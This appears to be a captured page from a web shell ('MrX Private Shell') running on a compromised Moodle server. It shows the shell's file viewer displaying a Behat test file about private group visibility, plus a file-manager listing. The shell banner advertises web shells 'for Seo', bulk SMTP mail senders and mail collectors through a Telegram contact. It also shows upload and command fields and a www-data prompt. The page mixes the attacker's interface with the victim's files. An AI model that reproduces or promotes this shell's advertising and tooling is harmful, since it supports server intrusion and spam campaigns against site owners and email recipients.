__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_group
Feature: Private groups
  As a teacher
  In order to organise students into groups while protecting their privacy
  I want to define groups that are not visible to all students

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format | enablecompletion | numsections |
      | Course 1 | C1        | topics | 1                | 3           |
    And the following "users" exist:
      | username | firstname | lastname |
      | teacher1 | Teacher   | Teacher  |
      | student1 | Student   | 1        |
      | student2 | Student   | 2        |
      | student3 | Student   | 3        |
      | student4 | Student   | 4        |
      | student5 | Student   | 5        |
      | student6 | Student   | 6        |
      | student7 | Student   | 7        |
      | student8 | Student   | 8        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
      | student2 | C1     | student        |
      | student3 | C1     | student        |
      | student4 | C1     | student        |
      | student5 | C1     | student        |
      | student6 | C1     | student        |
      | student7 | C1     | student        |
      | student8 | C1     | student        |
    And the following "groups" exist:
      | name                                      | course | idnumber | visibility | participation |
      | Visible/Participation                     | C1     | VP       | 0          | 1             |
      | Only visible to members/Participation     | C1     | MP       | 1          | 1             |
      | Only see own membership                   | C1     | O        | 2          | 0             |
      | Not visible                               | C1     | N        | 3          | 0             |
      | Visible/Non-Participation                 | C1     | VN       | 0          | 0             |
      | Only visible to members/Non-Participation | C1     | MN       | 1          | 0             |
    And the following "group members" exist:
      | user     | group |
      | student1 | VP    |
      | student1 | VN    |
      | student2 | MP    |
      | student2 | MN    |
      | student3 | O     |
      | student4 | N     |
      | student5 | VP    |
      | student5 | VN    |
      | student6 | MP    |
      | student6 | MN    |
      | student7 | O     |
      | student8 | N     |

  Scenario: Participants in "Visible" groups see their membership and other members:
    Given I am on the "C1" "enrolled users" page logged in as "student1"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                         |
      | Student 1            | Visible/Non-Participation, Visible/Participation               |
      | Student 2            | No groups                                                      |
      | Student 3            | No groups                                                      |
      | Student 4            | No groups                                                      |
      | Student 5            | Visible/Non-Participation, Visible/Participation               |
      | Student 6            | No groups                                                      |
      | Student 7            | No groups                                                      |
      | Student 8            | No groups                                                      |

  Scenario: Participants in "Only visible to members" groups see their membership and other members, plus "Visible"
    Given I am on the "C1" "enrolled users" page logged in as "student2"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                                 |
      | Student 1            | Visible/Non-Participation, Visible/Participation                       |
      | Student 2            | Only visible to members/Non-Participation, Only visible to members/Participation |
      | Student 3            | No groups                                                              |
      | Student 4            | No groups                                                              |
      | Student 5            | Visible/Non-Participation, Visible/Participation                       |
      | Student 6            | Only visible to members/Non-Participation, Only visible to members/Participation |
      | Student 7            | No groups                                                              |
      | Student 8            | No groups                                                              |

  Scenario: Participants in "Only see own membership" groups see their membership but not other members, plus "Visible"
    Given I am on the "C1" "enrolled users" page logged in as "student3"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                                 |
      | Student 1            | Visible/Non-Participation, Visible/Participation                       |
      | Student 2            | No groups                                                              |
      | Student 3            | Only see own membership                                                     |
      | Student 4            | No groups                                                              |
      | Student 5            | Visible/Non-Participation, Visible/Participation                       |
      | Student 6            | No groups                                                              |
      | Student 7            | No groups                                                              |
      | Student 8            | No groups                                                              |

  Scenario: Participants in "Not visible" groups do not see that group, do see "Visible"
    Given I am on the "C1" "enrolled users" page logged in as "student4"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                                 |
      | Student 1            | Visible/Non-Participation, Visible/Participation                       |
      | Student 2            | No groups                                                              |
      | Student 3            | No groups                                                              |
      | Student 4            | No groups                                                              |
      | Student 5            | Visible/Non-Participation, Visible/Participation                       |
      | Student 6            | No groups                                                              |
      | Student 7            | No groups                                                              |
      | Student 8            | No groups                                                              |

  Scenario: View participants list as a teacher:
    Given I am on the "C1" "enrolled users" page logged in as "teacher1"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                                 |
      | Student 1            | Visible/Non-Participation, Visible/Participation                       |
      | Student 2            | Only visible to members/Non-Participation, Only visible to members/Participation |
      | Student 3            | Only see own membership                                                     |
      | Student 4            | Not visible                                                            |
      | Student 5            | Visible/Non-Participation, Visible/Participation                       |
      | Student 6            | Only visible to members/Non-Participation, Only visible to members/Participation |
      | Student 7            | Only see own membership                                                     |
      | Student 8            | Not visible                                                            |

  @javascript
  Scenario: Filtering by "Only see own membership" groups should not show other members.
    Given I am on the "C1" "enrolled users" page logged in as "student3"
    When I set the field "type" to "Groups"
    And I set the field "Type or select..." to "Only see own membership"
    And I click on "Apply filters" "button"
    Then the following should exist in the "participants" table:
      | First name           | Groups                  |
      | Student 3            | Only see own membership |
    And the following should not exist in the "participants" table:
      | First name           | Groups                  |
      | Student 7            | No groups               |

  @javascript
  Scenario: Filtering by "No group" should show all users whose memberships I cannot see
    Given I am on the "C1" "enrolled users" page logged in as "student3"
    When I set the field "type" to "Groups"
    And I set the field "Type or select..." to "No group"
    And I click on "Apply filters" "button"
    Then the following should exist in the "participants" table:
      | First name           | Groups     |
      | Student 2            | No groups  |
      | Student 4            | No groups  |
      | Student 6            | No groups  |
      | Student 7            | No groups  |
      | Student 8            | No groups  |

  @javascript
  Scenario: Filtering by not a member of "Only see own membership" groups I am a member of should show everyone except me
    Given I am on the "C1" "enrolled users" page logged in as "student3"
    When I set the field "Match" in the "Filter 1" "fieldset" to "None"
    And I set the field "type" to "Groups"
    And I set the field "Type or select..." to "Only see own membership"
    And I click on "Apply filters" "button"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                                   |
      | Student 1            | Visible/Non-Participation, Visible/Participation                         |
      | Student 2            | No groups                                                                |
      | Student 4            | No groups                                                                |
      | Student 5            | Visible/Non-Participation, Visible/Participation                         |
      | Student 6            | No groups                                                                |
      | Student 7            | No groups                                                                |
      | Student 8            | No groups                                                                |

  @javascript
  Scenario: Filtering by not a member of "No group" should only show users whose memberships I can see
    Given I am on the "C1" "enrolled users" page logged in as "student3"
    When I set the field "Match" in the "Filter 1" "fieldset" to "None"
    And I set the field "type" to "Groups"
    And I set the field "Type or select..." to "No group"
    And I click on "Apply filters" "button"
    Then the following should exist in the "participants" table:
      | First name           | Groups                                                                   |
      | Student 1            | Visible/Non-Participation, Visible/Participation                         |
      | Student 3            | Only see own membership                                                  |
      | Student 5            | Visible/Non-Participation, Visible/Participation                         |

Filemanager

Name Type Size Permission Actions
auto_creation.feature File 8.52 KB 0777
backup_restore_groups.feature File 2.83 KB 0777
behat_groups.php File 3.66 KB 0777
bulk_messaging.feature File 2.45 KB 0777
create_groups.feature File 6.97 KB 0777
custom_fields.feature File 3 KB 0777
delete_groups.feature File 2.88 KB 0777
group_customfields.feature File 3.35 KB 0777
group_description_picture.feature File 5.84 KB 0777
groups_import.feature File 7.75 KB 0777
id_uniqueness.feature File 2.36 KB 0777
overview.feature File 9.26 KB 0777
private_groups.feature File 11.63 KB 0777
role_visibility.feature File 2.32 KB 0777
update_groups.feature File 7.15 KB 0777
Filemanager